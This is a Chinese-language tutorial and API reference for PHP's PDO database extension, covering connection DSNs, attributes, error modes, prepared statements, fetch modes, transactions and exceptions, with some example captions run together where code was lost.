PDO对数据表的CURD操作,除了select和存储过程调用使用query方法之外,其它的操作都使用execute方法 PDO是mysql数据库操作的一个公用类,为PHP访问数据库定义了一个轻量级的、一致性的接口,提供了一个数据库访问抽象层,统一各种数据库的访问接口,但是在php默认配置中pdo是未开启,所以必须先在php.ini中开启 可以通过PHP的phpinfo()函数来查看是否安装了PDO扩展 可以用$test=new PDO()的结果来测试。如果提示说是参数不匹配,那证明已经安装了PDO插件,如果说是对象不存在就得先确认一下在pho.ini中php_pdo_yourssqlserverhere.extis是否被注释掉了。如果没有这句话,那就得安装PDO了 在Unix系统上安装PDO extension=pdo.so Windows用户 PDO和所有主要的驱动作为共享扩展随PHP一起发布,要激活只需简单地编辑php.ini文件并添加以下扩展: extension=php_pdo.dll 除此之外还有以下对应的各种数据库扩展: ;extension=php_pdo_firebird.dll ;extension=php_pdo_informix.dll ;extension=php_pdo_mysql.dll ;extension=php_pdo_oci.dll ;extension=php_pdo_oci8.dll ;extension=php_pdo_odbc.dll ;extension=php_pdo_pgsql.dll ;extension=php_pdo_sqlite.dll单例模式封装pdo类
PDO中包含三个预定义的类: PDO、PDOStatement和PDOException
一、PDO类代表PHP和数据库服务之间的一个连接
类摘要:
PDO {
__construct ( string $dsn [,string $username [,string $password [,array $driver_options ]]] )
bool beginTransaction ( void )
bool commit ( void )
mixed errorCode ( void )
public array errorInfo ( void )
int exec ( string $statement )
mixed getAttribute ( int $attribute )
static array getAvailableDrivers ( void )
bool inTransaction ( void )
string lastInsertId ([ string $name = NULL ] )
public PDOStatement prepare ( string $statement [,array $driver_options = array() ] )
public PDOStatement query ( string $statement )
public string quote ( string $string [,int $parameter_type = PDO::PARAM_STR ] )
bool rollBack ( void )
bool setAttribute ( int $attribute ,mixed $value )
}
PDO::beginTransaction — 启动一个事务
PDO::commit — 提交一个事务
PDO::__construct — 创建一个表示数据库连接的PDO实例
PDO::errorCode — 获取跟数据库句柄上一次操作相关的SQLSTATE
PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle
PDO::exec — 执行一条SQL语句,并返回受影响的行数
PDO::getAttribute — 取回一个数据库连接的属性
PDO::getAvailableDrivers — 返回一个可用驱动的数组
PDO::inTransaction — 检查是否在一个事务内
PDO::lastInsertId — 返回最后插入行的ID或序列值
PDO::prepare — 准备要执行的语句,并返回语句对象
PDO::query — 执行 SQL 语句,以 PDOStatement 对象形式返回结果集
PDO::quote — 为 SQL 查询里的字符串添加引号
PDO::rollBack — 回滚一个事务
PDO::setAttribute — 设置属性
【 PDO->__construct(); 】
PDO::__construct ( string $dsn [,string $username [,string $password [,array $driver_options ]]] )
构造器,构建一个PDO数据库连接对象实例
不管使用哪种驱动程序,连接是通过创建PDO基类的实例而建立的,有任何连接错误将抛出一个PDOException异常对象
连接数据成功后返回一个PDO类的实例给脚本,此连接在PDO对象的生存周期中保持活动
要关闭连接需要销毁对象以确保所有剩余到它的引用都被删除,可以赋一个NULL值给对象变量,否则PHP在脚本结束时会自动关闭连接
参数dsn: data source name(数据源),包含了请求连接到数据库的信息,包括驱动名、主机、库名、端口号,部分参数可以省略,参数没有顺序
通常一个DSN由PDO驱动名、紧随其后的冒号以及具体PDO驱动的连接语法组成
dsn参数支持三种不同的方式创建一个数据库连接
参数username是DSN字符串中的用户名。对于某些PDO驱动,此参数为可选项。
参数password是DSN字符串中的密码。对于某些PDO驱动,此参数为可选项。
参数driver_options是一个具体驱动的连接选项的键=>值数组。
1、通过参数形式链接数据库,Driver invocation
$pdo = new PDO("mysql:host=localhost;dbname=my_db01","root","");
$pdo = new PDO("mysql:dbname=my_db01;host=127.0.0.1","root","");
$pdo = new PDO("mysql:host=localhost;port=3306;dbname=my_db01","root","");
try{
$dsn = 'mysql:host=localhost;dbname=my_db01';
$username = 'root';
$password = '';
$pdo = new PDO($dsn,$username,$password);
var_dump($pdo);
}catch(PDOException $e){
echo $e->getMessage();
}
2、通过URI形式链接数据库,URI invocation
dsn consists of uri: followed by a URI that defines the location of a file containing the DSN string. The URI can specify a local file or a remote URL.
uri:file:///path/to/dsnfile
dsn配置文件E:\dsn.txt内容: mysql:dbname=my_db01;host=localhost
try{
$dsn = 'uri:file://E:\dsn.txt';
$pdo = new PDO($dsn,'root','');
var_dump($pdo);
}catch(PDOException $e){
echo $e->getMessage();
}
3、通过配置文件形式链接数据库,自动调取php.in中mysql.default_host参数信息,Aliasing
dsn consists of a name name that maps to pdo.dsn.name in php.ini defining the DSN string.
别名必须得在php.ini中定义了,不能是在.htaccess或httpd.conf中
修改php.ini添加: pdo.dsn.my_db01="mysql:host=localhost;dbname=my_db01",然后重启服务器
try{
$dsn = 'my_db01';
$pdo = new PDO($dsn,'root','');
var_dump($pdo);
}catch(PDOException $e){
echo $e->getMessage();
}
4、unix
$pdo = new PDO("mysql:unix_socket=/tmp/mysql.sock;dbname=my_db01","root","");
$pdo = new PDO("mysql:dbname=testdb;unix_socket=/path/to/socket","root","");
【 数据库连接属性设置 同$pdo->setAttribute() 】
数据库连接对象初始化时的第四个参数输入
$options = array($option1 => $value1,$option[..]);
$db = new PDO($dsn,$username,$password,$options);
PDO错误处理模式
PDO::ATTR_ERRMODE: 错误报告
1、PDO::ERRMODE_SILENT
默认模式,静默模式,PDO会在statement和database对象上设定简单的错误代号,可以使用PDO->errorCode()和PDO->errorInfo()方法检查错误
2、PDO::ERRMODE_WARNING 常量值为1
警告模式,使用这个模式时PDO将会发出一个传统的E_WARNING信息
如果不论什么原因想抛出PHP警告就使用PDO::ERRMODE_WARNING
3、PDO::ERRMODE_EXCEPTION
异常模式,PDO会抛出一个PDOException异常并设置它的属性来反映错误代号和错误信息,用try catch捕获
也可以手动抛出异常new PDOException($message,$code,$previous)
$pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
PDO默认输出的数据都是字符串,以下设置使得数据类型保持不变
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
PDO::ATTR_DEFAULT_FETCH_MODE 参见PDOStatement->fetch()方法
设置默认的提取模式,选择PDO将返回的是什么类型的结果集
PDO::FETCH_ASSOC会允许使用关联数组
PDO::FETCH_OBJ会返回一个匿名对象,以便使用$result->column_name
还可将结果放入一个特定的类(模型),可以通过给每一个单独的查询设置一个读取模式
$query = $db->query('SELECT * FROM `foods`');
$foods = $query->fetchAll(PDO::FETCH_CLASS,'Food');
PDO::MYSQL_ATTR_USE_BUFFERED_QUERY: 使用缓冲查询,在MySQL中可用
PDO::ATTR_TIMEOUT int类型,单位是秒
指定超时的秒数,并非所有驱动都支持此选项,比如SQLite等待的时间达到此值后就放弃获取可写锁,但其他驱动可能会将此值解释为一个连接或读取超时的间隔。
当为载入时间而着急时,可以使用此属性来为查询指定一个超时时间
如果超过设置的时间,缺省会抛出E_WARNING异常,除非PDO::ATTR_ERRMODE被改变
PDO::ATTR_AUTOCOMMIT
是否自动提交每个单独的语句
PDO::ATTR_EMULATE_PREPARES bool类型
启用或禁用预处理语句的模拟
有些驱动不支持或有限度地支持本地预处理。使用此设置强制PDO总是模拟预处理语句(如果为 TRUE ),或试着使用本地预处理语句(如果为 FALSE)
如果驱动不能成功预处理当前查询,它将总是回到模拟预处理语句上
PDO::ATTR_CASE: 强制列名为指定的大小写
1、PDO::CASE_LOWER 强制列名小写
2、PDO::CASE_NATURAL 保留数据库驱动返回的列名
3、PDO::CASE_UPPER 强制列名大写
PDO::ATTR_ORACLE_NULLS: 转换NULL和空字符串,在所有驱动中都可用
1、PDO::NULL_NATURAL 不转换
2、PDO::NULL_EMPTY_STRING 将空字符串转换成NULL
3、PDO::NULL_TO_STRING 将NULL转换成空字符串
PDO::ATTR_STRINGIFY_FETCHES bool类型
提取的时候将数值转换为字符串
PDO::ATTR_STATEMENT_CLASS
设置从PDOStatement派生的用户提供的语句类,不能用于持久的PDO实例,需要array(string 类名,array(mixed 构造函数的参数))
设置数据库编码,两种方法都可以
$_pdo->query("SET NAMES utf8");
$_pdo->exec('SET NAMES utf8');
PDO::MYSQL_ATTR_INIT_COMMAND=>'SET NAMES utf8'
【 数据库长连接 - 默认不是长连接 】
若数据库有更新,后端程序可以立即把数据推送出来,而不需要多次反复请求,多次建立连接,多次断开,耗费资源
持久连接在脚本结束后不会被关闭,且被缓存,当另一个使用相同凭证的脚本连接请求时被重用
持久连接缓存可以避免每次脚本需要与数据库会话时建立一个新连接的开销,从而让web应用程序更快
如想使用持久连接,必须在传递给PDO构造函数的驱动选项数组中设置PDO::ATTR_PERSISTENT,即最后加一个参数array(PDO::ATTR_PERSISTENT=>true)
如是在对象初始化之后用PDO::setAttribute()设置此属性,则驱动程序将不会使用持久连接
$pdo = new PDO("mysql:host=localhost;dbname=my_db01","root","",[PDO::ATTR_PERSISTENT => true]);
【 PDO->exec(); 】
int PDO::exec ( string $statement )
执行没有结果返回的操作如insert、updata、delete的sql语句,同样要手动转义
返回受SQL语句影响的行数int,如果没有受影响的行则返回0,如果sql语句有错如数据表不存在或无权限则返回false
1、query和exec都可以执行所有的sql语句,只是返回值不同而已
2、query可以实现所有exec的功能,query方法同样也可以执行insert,delete,只是返回的结果集的格式
3、当把select语句应用到exec时总是返回0
PDO::exec()不会从一条SELECT语句中返回结果。对于在程序中只需要发出一次的SELECT语句,可以考虑使用PDO::query()。对于需要发出多次的语句,可用PDO::prepare()来准备一个PDOStatement对象并用PDOStatement::execute()发出语句
依赖PDO::exec()的返回值是不正确的,其中受影响行数为0的语句会导致调用die(),应使用===运算符来测试此函数的返回值
$pdo->exec($sql) or die(print_r($pdo->errorInfo(),true));
$count = $pdo->exec("DELETE FROM fruit WHERE colour = 'red'");
print("Deleted $count rows.\n");
$pdo->exec("insert into users values(''3,'wangwu','123456','22')");
更好的获取条数
【 PDO->query(); 】
public PDOStatement PDO::query(string $statement)
public PDOStatement PDO::query(string $statement,int $PDO::FETCH_COLUMN,int $colno)
public PDOStatement PDO::query(string $statement,int $PDO::FETCH_CLASS,string $classname,array $ctorargs)
public PDOStatement PDO::query(string $statement,int $PDO::FETCH_INTO,object $object)
执行SQL语句,如果有数据的话以PDOStatement对象形式返回结果集,失败时返回FALSE
如果反复调用同一个查询用PDO::prepare()准备PDOStatement对象,并用PDOStatement::execute()执行语句,将具有更好的性能
如果没有完整获取结果集内的数据就调用下一个PDO::query()将可能调用失败,应当在执行下一个PDO::query()前先用PDOStatement::closeCursor()释放数据库PDOStatement关联的资源
statement参数表示需要准备、执行的SQL语句。查询里的数据应该用恰当的形式转义。
如果传入函数的参数数量超过一个,多余的参数将相当于调用结果对象PDOStatement::setFetchMode()方法
When query() fails,the boolean false is returned. I think that is "Silent Mode".
If that set attribute ErrorMode "Exception Mode",then that throw PDOException.
$pdo = new PDO( $dsn,$user,$pass );
$pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->query('SELECT * FROM `mytable` WHERE true',PDO::FETCH_ASSOC);
$result = $stmt->setFetchMode(PDO::FETCH_NUM);
执行SELECT语句,并能够用foreach循环遍历结果集PDOStatement对象【 PDO->prepare($sql); 】 public PDOStatement PDO::prepare ( string $statement [,array $driver_options = array() ] ) 准备要执行的语句,并返回语句对象 为PDOStatement::execute()方法准备待执行的SQL语句。 SQL语句可以包含零个或多个参数占位标记,格式是命名(:name)或问号(?)的形式,当它执行时将用真实数据取代。 在同一个SQL语句里命名形式和问号形式不能同时使用,只能选择其中一种参数形式。 请用参数形式绑定用户输入的数据,不要直接字符串拼接到查询里。 调用PDOStatement::execute()时,每一个值的参数占位标记,名称必须唯一。 除非启用模拟(emulation)模式,同一个语句里无法使用重名的参数。 用不同参数通过PDO::prepare()和PDOStatement::execute()多次调用同一个SQL语句,编译一次可多次执行,将提升应用的性能 —— 驱动可以让客户端/服务器缓存查询和元信息,还能阻止SQL注入攻击,不需要手动给参数加引号。 如果内置驱动不支持参数,PDO将模拟出参数的功能;如果驱动仅仅支持其中一种风格(命名参数和问号参数两种),也会自动重写到另外一种风格 参数占位符仅能字面上展示完整的数据。不能是字面的一部分,不能是关键词,不能是标识符,不能是其他任意的范围。 举例说明: 不能把多个值绑到单个参数里,然后在SQL语句里用IN()查询 参数statement必须是对目标数据库服务器有效的SQL语句模板。 参数driver_options 数组包含一个或多个key=>value键值对,为返回的PDOStatement对象设置属性。 常见用法是: 设置PDO::ATTR_CURSOR为PDO::CURSOR_SCROLL,将得到可滚动的光标。 某些驱动有驱动级的选项,在prepare时就设置。 如果数据库服务器完成准备了语句,PDO::prepare()返回PDOStatement对象。 如果数据库服务器 无法准备语句,PDO::prepare()返回FALSE或抛出PDOException(取决于 错误处理器)。 模拟模式下的prepare语句不会和数据库服务器交互,所以PDO::prepare()不会检查语句。 为执行准备一条SQL语句,生成一个新的编译模板,用于以后的多次重复执行,返回一个PDOStatement对象防sql注入用命名参数形式准备SQL语句参数用命名参数形式准备SQL语句参数���问号形式准备SQL语句参数
【 PDO->quote(); 防止SQL注入 】 public string PDO::quote ( string $string [,int $parameter_type = PDO::PARAM_STR ] ) 为SQL查询里的字符串添加引号,为输入的字符串添加引号(如果有需要),并对特殊字符进行转义,且引号的风格和底层驱动适配 将$sql语句手动转义,进而进入下一次的处理,返回添加了引号的字符串,以使其可用于SQL语句中 如果使用此函数构建SQL语句,强烈建议使用PDO::prepare()配合参数构建,而不是用PDO::quote()把用户输入的数据拼接进SQL语句。 使用prepare语句处理参数,不仅仅可移植性更好,而且更方便、免疫SQL注入;相对于拼接SQL更快,客户端和服务器都能缓存编译后的SQL查询。 不是所有的PDO驱动都实现了此功能(例如PDO_ODBC),考虑使用prepare代替
【 PDO->lastInsertId(); 】 返回上次插入操作,主键列类型是自增的最后的自增ID,多条数据插入时返回的是第一条的id 返回最后插入行的ID或序列值,一个序列对象最后的值取决于底层的驱动 在不同的PDO驱动之间此方法可能不会返回一个有意义或一致的结果,因为底层数据库可能不支持自增字段或序列的概念 如果没有为参数name指定序列名称,PDO::lastInsertId()则返回一个表示最后插入数据库那一行的行ID的字符串 如果为参数name指定了序列名称,PDO::lastInsertId()则返回一个表示从指定序列对象取回最后的值的字符串 如果当前PDO驱动不支持此功能,则PDO::lastInsertId()触发一个IM001 SQLSTATE 如果用insert into tb(col1,col2)values(v1,v2),(v11,v22)..的方式一次插入多条记录,lastinsertid()返回的只是第一条(v1,v2)插入时的ID,而不是最后一条记录插入的记录ID。要使得所有的方式都得到统一:$id=PDO->lastInsertId()+rows-1;
【 PDO->beginTransaction(); 】 bool beginTransaction ( void ) 事务的开启,中间加入多条关联的可执行sql语句,进行块化处理,也叫(回滚起点) 【 PDO->inTransaction(); 】 bool inTransaction ( void ) 检查是否在一个事务内 【 PDO->commit(); 】 bool commit ( void ) 提交事务,事务结束,即回滚结束 【 PDO->rollback(); 】 bool rollBack ( void ) 回滚一个事务,事务的回滚处理,即回滚到原起点
【 PDO->errorCode(); 】 捕获PDO错误代码,获取跟数据库句柄上一次操作相关的一个SQLSTATE,一个由5个字母或数字组成的在ANSI SQL标准中定义的标识符 一个SQLSTATE由前面两个字符的类值和后面三个字符的子类值组成 如果数据库句柄没有进行操作则返回NULL
【 PDO->errorInfo(); 】 返回最后一次操作数据库的错误信息的数组,如果数据库句柄没有进行操作则返回NULL 数组内容如下: 元素 信息 0 SQLSTATE 错误码 (5个字母或数字组成的在 ANSI SQL 标准中定义的标识符). 1 错误代码 2 错误信息
【 PDO->setAttribute(); 参见PDO构造函数的四参 】 bool PDO::setAttribute ( int $attribute ,mixed $value ) 设置一个数据库连接属性,全局属性设置,包括:列名格式和错误提示类型,成功时返回TRUE,失败返回FALSE设置连接属性的两种方式
【 PDO->getAttribute(); 】 mixed PDO::getAttribute ( int $attribute ) 获取一个数据库连接对象的属性信息,PDOStatement::getAttribute()取回PDOStatement属性 成功调用则返回请求的PDO属性值,不成功则返回null 注意有些数据库/驱动可能不支持所有的数据库连接属性 PDO::ATTR_AUTOCOMMIT PDO::ATTR_CASE PDO::ATTR_CLIENT_VERSION PDO::ATTR_CONNECTION_STATUS PDO::ATTR_DRIVER_NAME PDO::ATTR_ERRMODE PDO::ATTR_ORACLE_NULLS PDO::ATTR_PERSISTENT PDO::ATTR_PREFETCH PDO::ATTR_SERVER_INFO PDO::ATTR_SERVER_VERSION PDO::ATTR_TIMEOUT
【 PDO::getAvailableDrivers() PDO->getAvailableDrivers(); 】 返回一个PDO连接可用驱动的数组,返回所有当前可用在PDO::__construct()的参数DSN中的PDO驱动 如果没有可用的驱动则返回一个空数组
二、PDOStatement类代表一条预处理语句,并在该语句被执行后代表一个相关的结果集(associated result set)
类摘要:
PDOStatement implements Traversable {
/* 属性 */
readonly string $queryString;
/* 方法 */
bool bindColumn ( mixed $column ,mixed &$param [,int $type [,int $maxlen [,mixed $driverdata ]]] )
bool bindParam ( mixed $parameter ,mixed &$variable [,int $data_type = PDO::PARAM_STR [,int $length [,mixed $driver_options ]]] )
bool bindValue ( mixed $parameter ,mixed $value [,int $data_type = PDO::PARAM_STR ] )
bool closeCursor ( void )
int columnCount ( void )
bool debugDumpParams ( void )
string errorCode ( void )
array errorInfo ( void )
bool execute ([ array $input_parameters ] )
mixed fetch ([ int $fetch_style [,int $cursor_orientation = PDO::FETCH_ORI_NEXT [,int $cursor_offset = 0 ]]] )
array fetchAll ([ int $fetch_style [,mixed $fetch_argument [,array $ctor_args = array() ]]] )
string fetchColumn ([ int $column_number = 0 ] )
mixed fetchObject ([ string $class_name = "stdClass" [,array $ctor_args ]] )
mixed getAttribute ( int $attribute )
array getColumnMeta ( int $column )
bool nextRowset ( void )
int rowCount ( void )
bool setAttribute ( int $attribute ,mixed $value )
bool setFetchMode ( int $mode )
}
PDOStatement::bindColumn — 绑定一列到一个 PHP 变量
PDOStatement::bindParam — 绑定一个参数到指定的变量名
PDOStatement::bindValue — 把一个值绑定到一个参数
PDOStatement::closeCursor — 关闭游标,使语句能再次被执行。
PDOStatement::columnCount — 返回结果集中的列数
PDOStatement::debugDumpParams — 打印一条 SQL 预处理命令
PDOStatement::errorCode — 获取跟上一次语句句柄操作相关的 SQLSTATE
PDOStatement::errorInfo — 获取跟上一次语句句柄操作相关的扩展错误信息
PDOStatement::execute — 执行一条预处理语句
PDOStatement::fetch — 从结果集中获取下一行
PDOStatement::fetchAll — 返回一个包含结果集中所有行的数组
PDOStatement::fetchColumn — 从结果集中的下一行返回单独的一列。
PDOStatement::fetchObject — 获取下一行并作为一个对象返回。
PDOStatement::getAttribute — 检索一个语句属性
PDOStatement::getColumnMeta — 返回结果集中一列的元数据
PDOStatement::nextRowset — 在一个多行集语句句柄中推进到下一个行集
PDOStatement::rowCount — 返回受上一个 SQL 语句影响的行数
PDOStatement::setAttribute — 设置一个语句属性
PDOStatement::setFetchMode — 为语句设置默认的获取模式。
PDO类和PDOStatement类代表两个不同的对象
PDOStatement对象由PDO->query()和PDO->prepare()返回
PDOStatement对象的方法更多的是对结果集施加操作,比如改变列,获取受影响的行数
$stmt = $db->prepare('SELECT * FROM `adminuser` WHERE `username` = :username');
$stmt->bindParam(':username',$name);
$name = 'root';
$stmt->execute();
$data = $stmt->fetchAll();
$db = null;
【 PDOStatement->fetch(); 】
mixed PDOStatement::fetch ([ int $fetch_style [,int $cursor_orientation = PDO::FETCH_ORI_NEXT [,int $cursor_offset = 0 ]]] )
从一个PDOStatement对象相关的结果集中获取下一行
以指定格式每次从结果集中返回一条记录,通常和while配合遍历出内容
fetch_style参数
控制下一行如何返回给调用者。此值必须是PDO::FETCH_*系列常量中的一个,缺省为PDO::ATTR_DEFAULT_FETCH_MODE的值,默认PDO::FETCH_BOTH
PDO::FETCH_BOTH(默认): 返回一个索引为结果集列名和以0开始的列号的数组
PDO::FETCH_ASSOC: 返回一个关联数组,索引为结果集列名
PDO::FETCH_NUM: 返回一个索引为以0开始的结果集列号的数组
PDO::FETCH_OBJ: 返回一个属性名对应结果集列名的匿名对象
PDO::FETCH_LAZY: 结合使用PDO::FETCH_BOTH 和 PDO::FETCH_OBJ,创建供用来访问的对象变量名
PDO::FETCH_BOUND: 返回TRUE,并分配结果集中的列值给PDOStatement::bindColumn()方法绑定的PHP变量。
PDO::FETCH_CLASS: 返回一个请求类的新实例,映射结果集中的列名到类中对应的属性名。如果fetch_style包含PDO::FETCH_CLASSTYPE(例如: PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE),则类名由第一列的值决定
PDO::FETCH_INTO: 更新一个被请求类已存在的实例,映射结果集中的列到类中命名的属性
cursor_orientation参数
对于一个PDOStatement对象表示的可滚动游标,该值决定了哪一行将被返回给调用者。此值必须是PDO::FETCH_ORI_*系列常量中的一个,默认为PDO::FETCH_ORI_NEXT。要想让PDOStatement对象使用可滚动游标必须在用PDO::prepare()预处理SQL语句时,设置PDO::ATTR_CURSOR属性为PDO::CURSOR_SCROLL。
offset参数
对于一个cursor_orientation参数设置为PDO::FETCH_ORI_ABS的PDOStatement对象代表的可滚动游标,此值指定结果集中想要获取行的绝对行号。
对于一个cursor_orientation参数设置为PDO::FETCH_ORI_REL的PDOStatement对象代表的可滚动游标,此值指定想要获取行相对于调用PDOStatement::fetch()前游标的位置
返回值
此函数(方法)成功时返回的值依赖于提取类型。在所有情况下失败都返回FALSE
使用一个可滚动游标获取行【 PDOStatement->fetchAll(); 】 array PDOStatement::fetchAll ([ int $fetch_style [,mixed $fetch_argument [,array $ctor_args = array() ]]] ) 返回一个包含结果集中所有剩余行的数组。此数组的每一行要么是一个列值的数组,要么是属性对应每个列名的一个对象。 使用此方法获取大结果集将导致系统负担加重且可能占用大量网络资源。与其取回所有数据后用PHP来操作,倒不如考虑使用数据库服务来处理结果集。例如在取回数据并通过PHP处理前,在SQL中使用WHERE和ORDER BY子句来限定结果。 fetch_style参数 控制返回数组的内容如PDOStatement::fetch(),默认为PDO::ATTR_DEFAULT_FETCH_MODE的值,缺省值为PDO::FETCH_BOTH 想要返回一个包含结果集中单独一列所有值的数组,需要指定PDO::FETCH_COLUMN 。通过指定column-index参数获取想要的列。 想要获取结果集中单独一列的唯一值,需要将PDO::FETCH_COLUMN和PDO::FETCH_UNIQUE按位或。 想要返回一个根据指定列把值分组后的关联数组,需要将PDO::FETCH_COLUMN和PDO::FETCH_GROUP按位或。 fetch_argument参数 根据fetch_style参数的值,此参数有不同的意义: PDO::FETCH_COLUMN: 返回指定以0开始索引的列。 PDO::FETCH_CLASS: 返回指定类的实例,映射每行的列到类中对应的属性名。 PDO::FETCH_FUNC: 将每行的列作为参数传递给指定的函数,并返回调用函数后的结果。 ctor_args参数 当fetch_style参数为PDO::FETCH_CLASS时,自定义类的构造函数的参数。PDO::FETCH_COLUMN 获取结果集中单独一列的所有值,尽管SQL语句自身可能返回每行多列返回一个根据结果集中指定列的值分组的关联数组PDO::FETCH_CLASS 每行结果实例化一个类PDO::FETCH_FUNC每行调用一次函数
【 PDOStatement->fetchColumn(); 】 string fetchColumn ([ int $column_number = 0 ] ) 从结果集中的下一行返回单独的一列,参数以0开始 返回指定字段索引的一个值,每次返回指定字段的一行,即一个内容值。配合while遍历 每执行一次指针移向下一行,所以没办法返回同一行的另一列,知道返回false
【 PDOStatement->fetchObject(); 】 以面向对象的风格每次返回一条记录,配合while遍历 【 PDOStatement->columnCount(); 】 int columnCount ( void ) 返回PDOStatement结果集列的总数 【 PDOStatement->getColumnMeta(); 】 array getColumnMeta ( int $column ) 返回结果集中某一列的元数据结构(metadata?),参数为0表示第一列即索引是从0开始的 【 PDOStatement->rowCount(); 】 int PDOStatement::rowCount ( void ) 返回PDOStatement结果集行的总数,返回SQL语句执行后影响的行数 主要是用于PDO::query()和PDO::prepare()进行DELETE、INSERT、UPDATE操作影响的结果集,对PDO::exec()方法和SELECT操作无效 返回受上一个SQL语句影响的行数 返回上一个由对应的PDOStatement对象执行DELETE、 INSERT或UPDATE语句受影响的行数。 如果上一条由相关PDOStatement执行的SQL语句是一条SELECT语句,有些数据可能返回由此语句返回的行数。但这种方式不能保证对所有数据有效,且对于可移植的应用不应依赖于此方式返回被删除的行数
计算由一个SELECT语句返回的行数 对于大多数数据库,PDOStatement::rowCount()不能返回受一条SELECT语句影响的行数。替代的方法是使用PDO::query()来发出一条和原打算中的SELECT语句有相同条件表达式的SELECT COUNT(*)语句,然后用PDOStatement::fetchColumn()来取得返回的行数。这样应用程序才能正确执行
【 PDOStatement->bindColumn(); 】 bool bindColumn(mixed $column,mixed &$param [,int $type [,int $maxlen [,mixed $driverdata]]] ) 绑定一列到一个php变量,绑定一个PHP变量到结果集中的输出列 将查找记录集中的列与变量相绑定,进而用变量获取相应列的行内容,用$stmt->fetch(PDO::FETCH_BOUND)进行遍历 PDO::FETCH_BOUND专门用于bindColumn() 将一个特定的变量绑定到一个查询结果集,相当于给这个结果集增加一个任意自定义的列
【 PDOStatement->bindParam(); 】 bool PDOStatement::bindParam ( mixed $parameter ,mixed &$variable [,int $data_type = PDO::PARAM_STR [,int $length [,mixed $driver_options ]]] ) 绑定一个参数到指定的变量名 绑定一个PHP变量到一个预处理语句中的参数,用于防止sql注入,对于程序的灵活性和健壮性也有帮助 以引用方式绑定一个变量到占位符,从而完成编译。因为是引用所以可以重复多次 绑定一个PHP变量到用作预处理的SQL语句中的对应命名占位符或问号占位符。 不同于PDOStatement::bindValue(),此变量作为引用被绑定,并只在PDOStatement::execute()被调用的时候才取其值,不能直接写入数值 大多数参数是输入参数,即参数以只读的方式用来建立查询。一些驱动支持调用存储过程并作为输出参数返回数据,一些支持作为输入/输出参数,既发送数据又接收更新后的数据 parameter参数表示参数标识符。对于使用命名占位符的预处理语句应是类似:name形式的参数名。对于使用问号占位符的预处理语句应是以1开始索引的参数位置。 variable参数是绑定到SQL语句参数的PHP变量名。变量前面有一个取地址符,取得是变量的地址,不能在这个位置直接写值 data_type参数 使用PDO::PARAM_*常量明确地指定参数的类型。要从一个存储过程中返回一个INOUT参数,需要为data_type参数使用按位或操作符去设置PDO::PARAM_INPUT_OUTPUT位。 length参数表示数据类型的长度。为表明参数是一个存储过程的OUT参数必须明确地设置此长度使用INOUT参数调用一个存储过程
【 PDOStatement->bindValue(); 】 bool PDOStatement::bindValue(mixed $parameter,mixed $value [,int $data_type = PDO::PARAM_STR]) 绑定一个值到一个参数,绑定一个值到预处理语句中的参数,同上,但只能绑定一次 该方法只有三个参数,不能设置数据类型的长度 第二个参数必须是前面已经定义好的变量,否则抛出错误Notice: Undefined variable通过绑定的PHP变量执行一条使用命名占位符的预处理语句通过绑定的PHP变量执行一条使用问号占位符的预处理语句
【 PDOStatement->debugDumpParams() 】 bool debugDumpParams ( void ) 打印一条 SQL 预处理命令
【 PDOStatement->closeCursor(); 】 关闭游标,使语句可以再次执行 关闭当前的模板编译链接,为下次创建好的模板链接做好准备。(即模板只能有一个链接) 【 PDOStatement->excute(); 】 bool PDOStatement::execute ([ array $input_parameters ] ) 执行一条预处理过的语句 如果预处理过的语句含有参数标记,必须选择下面其中一种做法: 1、调用PDOStatement::bindParam()绑定PHP变量到参数标记: 如果有的话,通过关联参数标记绑定的变量来传递输入值和取得输出值 2、或传递一个只作为输入参数值的数组 执行编译模板,有两种格式: 1、先编译后执行;2、边编译边执行 参数input_parameters 一个元素个数和将被执行的SQL语句中绑定的参数一样多的数组。所有的值作为PDO::PARAM_STR对待。 不能绑定多个值到一个单独的参数,比如不能绑定两个值到IN()子句中一个单独的命名参数。 绑定的值不能超过指定的个数。如果在input_parameters中存在比PDO::prepare()预处理的SQL指定的多的键名,则此语句将会失败并发出一个错误。 返回值 成功时返回TRUE,失败时返回FALSE执行一条绑定变量的预处理语句执行一条使用问号占位符的预处理语句使用一个含有插入值的数组执行一条预处理语句(命名参数)使用一个含有插入值的数组执行一条预处理语句(占位符)使用数组执行一条含有 IN 子句的预处理语句
【 PDOStatement->nextRowset(); 】 bool nextRowset ( void ) 将结果集中的指针下移 返回下一结果集,常配合fetch()和fetchAll()判断下一条记录是否存在,以便继续遍历出下一条记录 常用于存储过程返回多个结果集时,向遍历下一个结果集,使用nextRowset()将指针移动到下一个结果集try-catch防止SQLSTATE[HY000]: General error
【 PDOStatement->errorCode(); 】 返回错误代码 【 PDOStatement->errorInfo(); 】 返回错误信息的数组 【 PDOStatement->getAttribute(); 】 返回一个 PDOStatement 属性 【 PDOStatement->setAttribute(); 】 设置一个PDOStatement属性 【 PDOStatement->setFetchMode(); 】 为PDOStatement设定获取数据的方式 $stmt->setFetchMode(PDO::FETCH_ASSOC); PDO::FETCH_ASSOC -- 关联数组形式 PDO::FETCH_NUM -- 数字索引数组形式 PDO::FETCH_BOTH -- 两者数组形式都有,这是缺省的 PDO::FETCH_OBJ -- 按照对象的形式,类似于以前的mysql_fetch_object()
三、PDOException类代表一个由PDO产生的错误。在自己的代码不应抛出一个PDOException异常
类摘要:
PDOException extends RuntimeException {
/* 属性 */
public array $errorInfo ; // 对应PDO::errorInfo()或PDOStatement::errorInfo()
protected string $message ; // 文本化的错误信息,使用Exception::getMessage()获取
protected string $code ; // SQLSTATE错误代号,使用Exception::getCode()获取
/* 继承的方法 */
final public string Exception::getMessage ( void )
final public Throwable Exception::getPrevious ( void )
final public int Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}
PHP PDO预定义常量
以下常量由本扩展模块定义,因此只有在本扩展的模块被编译到PHP中或在运行时被动态加载后才有效
对编译参数的绑定,即对绑定到占位符的参数进行必要的限制如类型、长度等
PDO::PARAM_BOOL (integer) 表示布尔数据类型
PDO::PARAM_NULL (integer) 表示SQL中的NULL数据类型
PDO::PARAM_INT (integer) 表示SQL中的整型
